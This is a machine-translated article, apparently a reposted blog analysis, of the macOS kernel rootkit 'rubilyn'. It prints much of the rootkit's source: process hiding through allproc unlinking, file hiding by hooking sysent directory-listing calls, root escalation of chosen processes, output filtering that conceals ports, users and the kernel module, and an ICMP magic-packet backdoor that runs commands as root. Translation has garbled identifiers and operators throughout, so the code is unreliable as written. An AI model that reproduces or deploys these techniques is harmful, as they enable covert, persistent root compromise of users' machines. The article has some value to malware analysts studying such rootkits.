MacOSX rootkit rubilyn source code analysis

Source: Internet
Author: User

1. Hide Processes
 
On mac osx, the context and context of each process are stored in the proc structure, and the proc structure pointer of all processes is saved in the allproc linked list, the proc structure of the corresponding process can be removed through the allproc linked list to hide ongoing processes. The following is the code about hidden processes in rubilyn, but processes can still be listed through ps-p pid, because it does not remove the process information in the pidhashtbl process hash list, you can find the process by using the pid.
 
/* Modify allproc to hide a specific pid */
Static int hideproc (int pid)
{
Struct proc * p;
If (pid! = 0 ){
// Lh. first points to the 1st elements in the allproc linked list, And p_list.le_next points to the next proc structure.
For (p = my_allproc-> lh_first; p! = 0; p = p-> p_list.le_next)
{
If (pid = p-> p_pid)
{
If (hidden_p_count <MAX_HIDDEN_PROCESS)
{
Hidden_p [hidden_p_count] = p;
Hidden_p_count ++;
My_proc_list_lock ();
LIST_REMOVE (p, p_list); // remove the elements of the p process in the p_list structure.
My_proc_list_unlock ();
}
}
}
}
Return 0;
}
 
2. Hide files
 
To hook the corresponding system functions of the listed files, we need to track the process of the functions used by finder and ls first, and Dtrace has been used on mac instead of ktrace, the getdirentriesattr function is used in the finder, while the ls function is mainly used in getdirentries64. The following describes how to track the process of the finder and ls using Dtrace:
 
The following is the content of the calltrace. d script:
 
Riusksk @ macosx:/usr/include/sys $ cat ~ /Reverse \ engineering/Dtrace/calltrace. d
Pid $ target: entry
{
;
}
Pid $ target: return
{
Printf ("= % d \ n", arg1 );
}
 
The following shows the call functions of the finder process 2841:
 
Riusksk @ macosx:/usr/include/sys $ sudo dtrace-s ~ /Reverse \ engineering/Dtrace/calltrace. d-p 2841 | grep getdir
Dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace. d' matched 573227 probes
 
2 1078881 getdirentriesattr: entry
2 1363229 getdirentriesattr: return = 1
......
 
Www.2cto.com
The following is a function called by the ls command (64-bit system:
 
Riusksk @ macosx :~ $ Sudo dtrace-s ~ /Reverse \ engineering/Dtrace/calltrace. d-c ls | grep getdir
Dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace. d' matched 28745 probes
Dtrace: pid 3184 has exited
2 271609 _ getdi1_ries64: entry
2 285894 _ getdi1_ries64: return = 1980
2 271609 _ getdi1_ries64: entry
2 285894 _ getdi1_ries64: return = 0
 
Therefore, if you want to hide the file in the finder and ls, you only need to hook the two functions getdimo-riesattr and getdistmries64 (the 32-bit getdistmries. In the system call function table, it is mainly composed of sysent structure arrays. Each sysent structure contains the number of parameters sy_narg and the execution function sy_call. The sysent structure is as follows:
 
Struct sysent {/* system call table */
Int16_t sy_narg;/* number of args */
Int8_t sy_resv;/* reserved */
Int8_t sy_flags;/* flags */
Sy_call_t * sy_call;/* implementing function */
Sy_munge_t * sy_arg_munge32;/* system call arguments munger for 32-bit process */
Sy_munge_t * sy_arg_munge64;/* system call arguments munger for 64-bit process */
Int32_t sy_return_type;/* system call return types */
Uint16_t sy_arg_bytes;/* Total size of arguments in bytes for * 32-bit system cballs */
};
 
To hook the above system functions, you can modify the sy_call of the sysent structure of the function to steal the column, the call number and macro name of each system function can be in/usr/include/sys/syscall. h:
 
Riusksk @ macosx:/usr/include/sys $ cat syscall. h | grep getdir
 
# Define sys_getdistmries 196
# Define sys_getdi#riesattr 222
# Define sys_getdi#ries64 344
 
The following is the hook Code for the System Call functions getdistmries64 and getdistmriesattr in rubilyn. replace these two functions with the custom new_getdi#ries64 and new_getdi#riesattr functions. At the same time, save the original function address to get:
 
If (nsysent ){
Table = find_sysent ();
If (table ){
/* Back up original syscall pointers */
Org_getdi1_ries64 = (void *) table [sys_getdi1_ries64]. sy_call; // Save the original system function address.
Org_getdirentriesattr = (void *) table [SYS_getdirentriesattr]. sy_call;
/* Replace syscallin syscall table */
Table [sys_getdi1_ries64]. sy_call = (void *) new_getdi1_ries64; // replace the original system function
Table [SYS_getdirentriesattr]. sy_call = (void *) new_getdirentriesattr;
 
The operations performed by the two replace functions are somewhat similar, mainly to remove the dirent structure of the specified file. The dirent structure prototype is as follows:
 
Struct dirent {
_ Uint32_t d_fileno; // node number
_ Uint16_t d_reclen; // directory item length
_ Uint8_t d_type; // file type
_ Uint8_t d_namlen; // file name
# If _ BSD_VISIBLE
# Define maxnamelen 255
Char d_name [MAXNAMLEN + 1]; // file name
# Else
Char d_name [255 + 1]; // file name
# Endif
}
 
Here we will only look at the new_getdirentries64 function,
 
/* Hooked getdirentries64 and friends */
Register_t new_getdirentries64 (struct proc * p, struct getdirentries64_args * uap, user_ssize_t * retval)
{
Int ret;
U_int64_t bcount = 0;
U_int64_t btot = 0;
Size_t buffersize = 0;
Struct direntry * dirp;
Void * mem = NULL;
Int updated = 0;
Ret = org_getdirentries64 (p, uap, retval); // call the original function to obtain the directory information
Btot = buffersize = bcount = * retval; // number of bytes returned by the function
If (bcount> 0)
{
MALLOC (mem, void *, bcount, M_TEMP, M_WAITOK); // allocate bcount memory in kernel space
If (mem = NULL)
Return (ret );
Copyin (uap-> buf, mem, bcount); // copy user space data to the allocated kernel space
Dirp = mem;
While (bcount> 0 & dirp-> d_reclen> 0)
{
If (dirp-> d_reclen> 7)
// Search for the specified file name
If (strncmp (dirp-> d_name, (char *) & k_dir, strlen (char *) & k_dir) = 0)
{
Char * next = (char *) dirp + dirp-> d_reclen; // next directory item
U_int64_t offset = (char *) next-(char *) mem; // the size of the current file directory
Bcount-= dirp-> d_reclen; // decrease the number of bytes
Btot-= dirp-> d_reclen; // decrease the directory item length
Bcopy (next, dirp, buffersize-offset); // overwrite the directory items of the specified file to hide the file
Updated = 1;
Continue;
}
Bcount-= dirp-> d_reclen;
Dirp = (struct direntry *) (char *) dirp + dirp-> d_reclen );
}
If (updated = 1)
{
Copyout (mem, uap-> buf, btot); // return the modified data to the user space.
* Retval = btot;
}
FREE (mem, M_TEMP); // releases the kernel memory.
}
Return ret;
}
 
3. Set the Root Process
 
Obtain the proc structure of the process using the pid, and then change the main field p_ucred of the process to 0, that is, the root owner. The source code is as follows:
 
Static int getroot (int pid)
{
Struct proc * rootpid;
Kauth_cred_t creds;
Rootpid = proc_find (pid );
If (! Rootpid)
Return 0;
Lck_mtx_lock (lck_mtx_t *) & rootpid-> p_mlock); // sets the mutex lock.
Creds = rootpid-> p_ucred; // process owner
Creds = my_kauth_cred_setuidgid (rootpid-> p_ucred, 0, 0); // set the process owner id to 0 (root)
Rootpid-> p_ucred = creds;
Lck_mtx_unlock (lck_mtx_t *) & rootpid-> p_mlock); // unlock
Return 0;
}
 
4. Hide the network port, user name, and kernel module
 
You can hook the write_nocancel function and filter the output results of grep, sysctl, netstat, kextstat, w, and who commands, if the command output contains the rubilyn Module name, close-up port, and user name, the system returns the result directly. Otherwise, the original write_nocanel function is called.
 
 
/* Hooked write_nocancel for hiding console stuff */
Int new_write_nocancel (struct proc * p, struct write_nocancel_args * uap, user_ssize_t * retval)
{
Char buffer [MAXBUFFER];
If (strncmp (p-> p_comm, grep, strlen (p-> p_comm) = 0 | strncmp (p-> p_comm, sysctl, strlen (p-> p_comm) = 0 |
Strncmp (p-> p_comm, kextstat, strlen (p-> p_comm) = 0 ){
Bzero (buffer, sizeof (buffer ));
Copyin (uap-> cbuf, buffer, sizeof (buffer)-1 );
If (my_strstr (buffer, rubilyn ))
Return (uap-> nbyte );
}
If (strncmp (p-> p_comm, netstat, strlen (p-> p_comm) = 0 ){
Bzero (buffer, sizeof (buffer ));
Copyin (uap-> cbuf, buffer, sizeof (buffer)-1 );
If (my_strstr (buffer, (char *) & k_port ))
Return (uap-> nbyte );
}
If (strncmp (p-> p_comm, w, strlen (p-> p_comm) = 0 | strncmp (p-> p_comm, who, strlen (p-> p_comm) = 0 ))
{
Bzero (buffer, sizeof (buffer ));
Copyin (uap-> cbuf, buffer, sizeof (buffer)-1 );
If (my_strstr (buffer, (char *) & k_user ))
Return (uap-> nbyte );
}
Return org_write_nocancel (p, uap, retval );
}
 
5. Set an ICMP Backdoor
 
First, add the IPv4 filter ip_filter_ipv4:
 
/* Install IPv4 filter hook */
Ipf_addv4 (& ip_filter_ipv4, & ip_filter_1_4_ref );
 
The structure of ip_filter_ipv4 is as follows:
 
Static struct ipf_filter ip_filter_ipv4 = {
. Name = "rubilyn ",
. Ipf_input = ipf_input,
. Ipf_output = ipf_output,
. Ipf_detach = ipf_detach,
};
 
When the ICMP data package sent to the user contains the following specific data, run the command as root:
 
/* ICMP backdoor configuration */
# Define MAGIC_ICMP_TYPE 0
# Define MAGIC_ICMP_CODE 255/* xor 'd magic word */
# Define MAGIC_ICMP_STR "\ x27 \ x10 \ x3 \ xb \ x46 \ x8 \ x1c \ x10 \ x1e" // "n0mn0mn0m" after decryption"
# Define MAGIC_ICMP_STR_LEN 9
 
 
Ipf_input mainly processes data transmitted to users:
 
Static errno_t ipf_input (void * cookie, mbuf_t * data, int offset, u_int8_t protocol)
{
Char buf [IP_BUF_SIZE];
Struct icmp * icmp;
If (! (Data & * data ))
Return 0;
If (protocol! = IPPROTO_ICMP)
Return 0;
Mbuf_copydata (* data, offset, IP_BUF_SIZE, buf );
Icmp = (struct icmp *) & buf;
// Check whether the received icmp packet contains backdoor feature data. If yes, call the KUNCExecute function to execute the command.
If (icmp-> icmp_type = MAGIC_ICMP_TYPE & icmp-> icmp_code = MAGIC_ICMP_CODE & strncmp (icmp-> icmp_data, icmpstr, MAGIC_ICMP_STR_LEN) = 0)
{
My_KUNCExecute (char *) & k_cmd, kOpenAppAsRoot, kOpenApplicationPath );
}
Return 0;
}
 
Rubilyn also has a command line console, rubilyncon. By entering the Parameter options to execute the above function, it mainly controls the kernel variables through sysctl to entertain the corresponding functions, these kernel variables are all registered with sysctl in rubilyn. These kernel variables can be used to directly interact with rubilyn kernel extensions from the user layer for malicious operations.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.